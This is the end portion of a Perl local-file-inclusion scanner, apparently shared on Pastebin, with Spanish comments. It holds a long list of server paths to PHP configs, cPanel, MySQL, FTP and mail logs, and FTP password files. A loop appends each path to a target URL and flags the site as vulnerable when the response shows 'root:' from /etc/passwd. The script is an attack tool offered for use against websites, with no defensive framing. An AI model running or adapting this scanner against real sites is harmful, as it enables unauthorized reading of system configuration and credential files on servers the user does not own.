  1462. '/usr/local/apache/conf/php.ini',
  1463. '/etc/php4.4/fcgi/php.ini',
  1464. '/etc/php4/apache/php.ini',
  1465. '/etc/php4/apache2/php.ini',
  1466. '/etc/php5/apache/php.ini',
  1467. '/etc/php5/apache2/php.ini',
  1468. '/etc/php/php.ini',
  1469. '/etc/php/php4/php.ini',
  1470. '/etc/php/apache/php.ini',
  1471. '/etc/php/apache2/php.ini',
  1472. '/web/conf/php.ini',
  1473. '/usr/local/Zend/etc/php.ini',
  1474. '/opt/xampp/etc/php.ini',
  1475. '/var/local/www/conf/php.ini',
  1476. '/etc/php/cgi/php.ini',
  1477. '/etc/php4/cgi/php.ini',
  1478. '/etc/php5/cgi/php.ini',
  1479. '/php5\php.ini',
  1480. '/php4\php.ini',
  1481. '/php\php.ini',
  1482. '/PHP\php.ini',
  1483. '/WINDOWS\php.ini',
  1484. '/WINNT\php.ini',
  1485. '/apache\php\php.ini',
  1486. '/xampp\apache\bin\php.ini',
  1487. '/NetServer\bin\stable\apache\php.ini',
  1488. '/home2\bin\stable\apache\php.ini',
  1489. '/home\bin\stable\apache\php.ini',
  1490. '/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini',
  1491. '/usr/local/cpanel/logs',
  1492. '/usr/local/cpanel/logs/stats_log',
  1493. '/usr/local/cpanel/logs/access_log',
  1494. '/usr/local/cpanel/logs/error_log',
  1495. '/usr/local/cpanel/logs/license_log',
  1496. '/usr/local/cpanel/logs/login_log',
  1497. '/usr/local/cpanel/logs/stats_log',
  1498. '/var/cpanel/cpanel.config',
  1499. '/var/log/mysql/mysql-bin.log',
  1500. '/var/log/mysql.log',
  1501. '/var/log/mysqlderror.log',
  1502. '/var/log/mysql/mysql.log',
  1503. '/var/log/mysql/mysql-slow.log',
  1504. '/var/mysql.log',
  1505. '/var/lib/mysql/my.cnf',
  1506. '/etc/mysql/my.cnf',
  1507. '/etc/my.cnf',
  1508. '/etc/logrotate.d/proftpd',
  1509. '/www/logs/proftpd.system.log',
  1510. '/var/log/proftpd',
  1511. '/etc/proftp.conf',
  1512. '/etc/protpd/proftpd.conf',
  1513. '/etc/vhcs2/proftpd/proftpd.conf',
  1514. '/etc/proftpd/modules.conf',
  1515. '/var/log/vsftpd.log',
  1516. '/etc/vsftpd.chroot_list',
  1517. '/etc/logrotate.d/vsftpd.log',
  1518. '/etc/vsftpd/vsftpd.conf',
  1519. '/etc/vsftpd.conf',
  1520. '/etc/chrootUsers',
  1521. '/var/log/xferlog',
  1522. '/var/adm/log/xferlog',
  1523. '/etc/wu-ftpd/ftpaccess',
  1524. '/etc/wu-ftpd/ftphosts',
  1525. '/etc/wu-ftpd/ftpusers',
  1526. '/usr/sbin/pure-config.pl',
  1527. '/usr/etc/pure-ftpd.conf',
  1528. '/etc/pure-ftpd/pure-ftpd.conf',
  1529. '/usr/local/etc/pure-ftpd.conf',
  1530. '/usr/local/etc/pureftpd.pdb',
  1531. '/usr/local/pureftpd/etc/pureftpd.pdb',
  1532. '/usr/local/pureftpd/sbin/pure-config.pl',
  1533. '/usr/local/pureftpd/etc/pure-ftpd.conf',
  1534. '-/etc/pure-ftpd.conf',
  1535. '/etc/pure-ftpd/pure-ftpd.pdb',
  1536. '/etc/pureftpd.pdb',
  1537. '/etc/pureftpd.passwd',
  1538. '/etc/pure-ftpd/pureftpd.pdb',
  1539. '/usr/ports/ftp/pure-ftpd/',
  1540. '/usr/ports/net/pure-ftpd/',
  1541. '/usr/pkgsrc/net/pureftpd/',
  1542. '/usr/ports/contrib/pure-ftpd/',
  1543. '/var/log/pure-ftpd/pure-ftpd.log',
  1544. '/logs/pure-ftpd.log',
  1545. '/var/log/pureftpd.log',
  1546. '/var/log/ftp-proxy/ftp-proxy.log',
  1547. '/var/log/ftp-proxy',
  1548. '/var/log/ftplog',
  1549. '/etc/logrotate.d/ftp',
  1550. '/etc/ftpchroot',
  1551. '/etc/ftphosts',
  1552. '/var/log/exim_mainlog',
  1553. '/var/log/exim/mainlog',
  1554. '/var/log/maillog',
  1555. '/var/log/exim_paniclog',
  1556. '/var/log/exim/paniclog',
  1557. '/var/log/exim/rejectlog',
  1558. '/var/log/exim_rejectlog'); }
  1559.  
  1560. #Cargamos los Paths uno por uno con foreach
  1561. foreach $lfi(@paths){
  1562.  
  1563. #final sera = a la web junto con el path
  1564. $final = $web.$lfi;
  1565.  
  1566. #declaramos variables para esperar una respuesta de la web
  1567. $request = HTTP::Request->new(GET=>$final);
  1568. $useragent = LWP::UserAgent->new();
  1569.  
  1570. #Con esto Pasamos la web con path por path esperando respuesta
  1571. $respuesta = $useragent->request($request);
  1572.  
  1573. #si encuentra uns respuesta de la palabra root
  1574. if ($respuesta->is_success && $respuesta->content =~ /root:/)
  1575.  
  1576. #sera vulnerable la web
  1577. { $msg = "Vulnerablee";
  1578. if ($proses =~ /n|N/) {
  1579.  
  1580. chop ($msg);
  1581.  
  1582. #mostrara el mensage junto con el path
  1583. print ("[$msg]..........$final\n");
  1584. } }
  1585.  
  1586. else
  1587.  
  1588. #de lo contrary
  1589. { $msg = "not Found"; }
  1590. if ($proses =~ /s|S/) {
  1591. chop ($msg);
  1592.  
  1593. #display the message along with the path
  1594. print ("[$msg]..........$final\n"); } } }
  1595.  
  1596. exit 1;
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!